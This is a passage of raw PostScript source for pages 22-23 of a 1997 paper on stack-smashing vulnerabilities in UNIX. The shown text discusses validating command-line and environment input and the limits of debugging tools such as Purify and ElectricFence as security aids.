4883 6391 rc 0 0 0 sco F2_100 Ji 612 5032 M -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 2.000 0 32 (nd )W 0.200 0 (li)A (n)S 2.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 1.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 2.000 0 32 (o n)W -0.400 0 (ee)A 2.000 0 32 (d )W 0.200 0 (t)A 2.000 0 32 (o b)W 2.400 0 32 -0.400 0 (e c)D (h)S -0.400 0 (ec)A (k)S -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (f)A (o)S 3.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (nv)S -0.400 0 (a)A 0.200 0 (li)A 3.000 0 32 (d d)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A 3.000 0 32 (. )W 0.300 0 (R)A -0.400 0 (eca)A 2.800 0 32 0.200 0 (ll t)D (h)S -0.400 0 (a)A 2.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 3.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5209 M -0.400 0 (a)A -0.300 0 (r)A 22.400 0 32 -0.400 0 (e c)D -0.300 0 (r)A -0.400 0 (ea)A 0.200 0 (ti)A (v)S 22.400 0 32 -0.400 0 (e a)D 22.000 0 32 (nd o)W -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 22.000 0 32 (n h)W 0.200 0 (i)A (d)S 22.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 21.800 0 32 0.200 0 (ll )D -0.400 0 (c)A (od)S 22.400 0 32 -0.400 0 (e a)D 22.000 0 32 (nd o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D -0.400 0 (c)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 21.800 0 32 0.200 0 (l )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 22.800 0 32 0.200 0 (it i)D (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 23.000 0 32 (on )W 0.200 0 (i)A 23.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5386 M -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (a)A 15.000 0 32 (nd )W 0.200 0 (li)A (n)S 15.400 0 32 -0.400 0 (e a)D -0.300 0 (r)A -1.000 0 (g)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (r )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 14.800 0 32 0.200 0 (t )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D -0.300 0 (\()A 0.100 0 (s)A 15.400 0 32 -0.400 0 (ee )D -0.300 0 (f)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (e )D (7.)S 15.400 0 32 -0.400 0 (a a)D 15.000 0 32 (nd )W 0.100 0 (s)A -0.400 0 (ec)A 0.200 0 (ti)A 15.000 0 32 (on 9.1)W -0.300 0 (\))A 16.000 0 32 (. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A (,)S ; LH savelevel1 restore pagesave restore (%%[ Page: 22 ]%%) = %%PageTrailer %%Page: 23 23 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (23)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (ou)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (ce c)D (od)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 14.800 0 32 0.200 0 (t )D (b)S 15.400 0 32 -0.400 0 (e a c)D (o)S 0.200 0 (m)A (p)S -0.300 0 (r)A -0.400 0 (e)A (h)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 15.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 14.900 0 32 0.100 0 (ss )D 0.200 0 (t)A 16.000 0 32 (o b)W 16.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 16.000 0 32 (, )W -0.400 0 (a)A 16.000 0 32 (nd )W -0.400 0 (a)A 15.800 0 32 0.200 0 (ll )D -0.400 0 (a)A (v)S -0.400 0 (e)A (nu)S -0.400 0 (e)A 15.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.071 0 (unauthorized input must be inspected and properly terminated if invalid.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 858 M 0.300 0 (C)A (o)S 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 20.800 0 32 0.200 0 (l )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 20.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 21.000 0 32 (h )W -0.400 0 (a)A 20.900 0 32 0.100 0 (s )D 0.300 0 (C)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -2.100 0 (L)A 0.200 0 (i)A (n)S 21.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (o)S -0.300 0 (f)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A -0.300 0 (\222)A 20.900 0 32 0.100 0 (s )D 0.300 0 (C)A (od)S 21.400 0 32 -0.400 0 (e )D 0.300 0 (C)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 21.300 0 32 -0.300 0 (r )D (o)S 22.300 0 32 -0.300 0 (r )D 0.400 0 (P)A (u)S -0.300 0 (r)A 22.400 0 32 -0.400 0 (e )D -0.200 0 (A)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A -0.300 0 (\222)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M 0.400 0 (P)A (u)S -0.300 0 (r)A 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 35.000 0 32 (, )W -0.400 0 (a)A 35.000 0 32 (nd non)W -0.300 0 (-)A -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 34.800 0 32 0.200 0 (l )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 35.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 36.000 0 32 (h )W -0.400 0 (a)A 35.900 0 32 0.100 0 (s )D -0.700 0 (B)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A 36.000 0 32 (n )W 0.100 0 (M)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A (k)S -0.300 0 (\222)A 35.900 0 32 0.100 0 (s )D -0.200 0 (G)A 0.300 0 (C)A 36.100 0 32 -0.100 0 (T )D (o)S 36.300 0 32 -0.300 0 (r )D -0.700 0 (B)A -0.300 0 (r)A (u)S 36.400 0 32 -0.400 0 (ce )D 0.400 0 (P)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.300 0 (\222)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M -0.100 0 (E)A 0.200 0 (l)A -0.400 0 (ec)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A -0.600 0 (F)A -0.400 0 (e)A (n)S 21.400 0 32 -0.400 0 (ce ca)D 21.000 0 32 (n b)W 21.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 21.000 0 32 (d )W 0.200 0 (t)A 21.000 0 32 (o )W -0.400 0 (a)A 0.100 0 (ss)A 0.200 0 (i)A 0.100 0 (s)A 20.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 21.900 0 32 0.100 0 (s )D 0.200 0 (i)A 22.000 0 32 (n )W 0.200 0 (l)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A (n)S 23.000 0 32 -1.000 0 (g )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 21.900 0 32 0.100 0 (s )D -0.400 0 (a)A 22.000 0 32 (nd )W 0.200 0 (ill)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 10.000 0 32 (on op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 10.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 (d )W 10.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 10.900 0 32 0.100 0 (s )D 11.000 0 32 (do no)W 10.800 0 32 0.200 0 (t l)D 11.000 0 32 (ook )W -0.300 0 (f)A (o)S -0.300 0 (r)A 11.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 11.000 0 32 (, p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 10.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 11.000 0 32 (h )W -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 6.400 0 32 -0.400 0 (e ca)D 6.000 0 32 (n on)W 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (c)A 6.000 0 32 (h ov)W -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 7.200 0 32 -0.200 0 (w )D (bu)S -1.000 0 (g)A 6.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (eac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 7.000 0 32 (, no)W 6.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 6.800 0 32 0.200 0 (; )D 7.200 0 32 -0.200 0 (A )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (p)S -0.300 0 (r)A (ovok)S -0.400 0 (e)A 17.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 19.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D (ho)S 0.200 0 (l)A -0.400 0 (e)A 19.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 19.000 0 32 (, )W 0.200 0 (m)A -0.400 0 (a)A (n)S 22.000 0 32 -3.000 0 (y )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 19.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 18.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 19.000 0 32 (n o)W -0.300 0 (ff)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.200 0 (i)A (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 6.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (a)A 6.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 6.200 0 32 -0.200 0 (X )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (iliti)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S 0.200 0 (il)A 6.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.300 0 (\222)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A (bno)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 5.800 0 32 0.200 0 (l m)D -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.055 0 (operations.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2274 M -0.200 0 (A)A 20.900 0 32 0.100 0 (s )D 20.700 0 32 0.300 0 (C )D (d)S -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 22.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (oo)S 0.200 0 (l)A 0.100 0 (s)A 21.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 21.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 20.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 25.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (ff)A -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (o)S -0.300 0 (r)A 22.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 22.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 22.400 0 32 -0.400 0 (e )D -0.300 0 (\221)A 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M (v)S 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 5.300 0 32 -0.300 0 (\222 )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 0.100 0 (s)A 5.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 (, )W 5.800 0 32 0.200 0 (it i)D 5.900 0 32 0.100 0 (s )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 5.800 0 32 0.200 0 (t t)D 6.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (b)S -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M 0.200 0 (t)A 25.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 25.400 0 32 -0.400 0 (e )D (bu)S -1.000 0 (g)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A 25.000 0 32 (nd do no)W 24.800 0 32 0.200 0 (t )D 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A 25.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 25.000 0 32 (n )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A 25.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 25.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 25.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 24.900 0 32 0.100 0 (s )D 26.000 0 32 (do no)W 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e c)D (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 13.800 0 32 0.200 0 (t )D (o)S 14.300 0 32 -0.300 0 (r f)D (u)S 0.200 0 (t)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 13.800 0 32 0.200 0 (m )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 13.900 0 32 0.100 0 (s )D (o)S 14.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 14.000 0 32 (. )W -0.100 0 (T)A (h)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 14.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A -0.300 0 (r)A 18.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ub)S 0.200 0 (mitt)A -0.400 0 (e)A 14.000 0 32 (d )W 0.200 0 (t)A 14.000 0 32 (o )W 14.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 13.800 0 32 0.200 0 (m )D -0.200 0 (w)A (h)S -0.400 0 (e)A 0.200 0 (t)A (h)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 13.800 0 32 0.200 0 (it )D -0.300 0 (r)A (un)S 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D 15.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 15.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 15.300 0 32 -0.300 0 (r )D (o)S 15.300 0 32 -0.300 0 (r )D (no)S 0.200 0 (t)A 15.000 0 32 (. )W -2.300 0 (I)A 15.000 0 32 (n )W 0.100 0 (s)A (u)S 0.200 0 (mm)A -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.400 0 (a)A (u)S 0.200 0 (t)A (o)S 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 24.000 0 32 (d d)W -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 25.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (oo)S 0.200 0 (l)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 25.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (f)A (u)S 24.800 0 32 0.200 0 (l i)D 25.000 0 32 (n )W -0.400 0 (c)A (o)S -0.300 0 (rr)A -0.400 0 (ec)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D (kno)S -0.200 0 (w)A 25.000 0 32 (n vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 25.000 0 32 (, ho)W -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 25.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M -0.094 0 (cannot detect future vulnerabilities and are limited as security tools.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3513 M 0.400 0 (S)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 4.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A (non)S -3.000 0 (y)A 0.200 0 (m)A (ou)S 0.100 0 (s)A 4.000 0 32 (. )W 0.400 0 (P)A -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 5.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (nd )W -0.400 0 (acce)A (p)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3690 M 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (ss )D (b)S -0.400 0 (a)A 11.000 0 32 (d )W 0.200 0 (i)A (npu)S 10.800 0 32 0.200 0 (t )D (d)S -0.400 0 (a)A 0.200 0 (t)A 11.400 0 32 -0.400 0 (a a)D -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D (no)S 11.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 15.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (o)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A -0.400 0 (e)A 12.000 0 32 (, bu)W 11.800 0 32 0.200 0 (t )D -0.300 0 (r)A 12.000 0 32 (un )W 0.200 0 (m)A (o)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S 0.200 0 (tl)A 15.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 12.000 0 32 (nd bu)W 0.200 0 (il)A 12.000 0 32 (d )W -0.300 0 (f)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 12.000 0 32 (. )W -0.700 0 (B)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3867 M -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e a)D 4.000 0 32 (nd )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 5.000 0 32 -1.000 0 (g )D (n)S -0.400 0 (e)A 4.200 0 32 -0.200 0 (w )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 5.000 0 32 (n )W 0.200 0 (mi)A 5.000 0 32 (nd, bo)W 0.200 0 (t)A 5.000 0 32 (h p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 5.000 0 32 (d )W -0.400 0 (c)A (od)S 5.400 0 32 -0.400 0 (e a)D (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 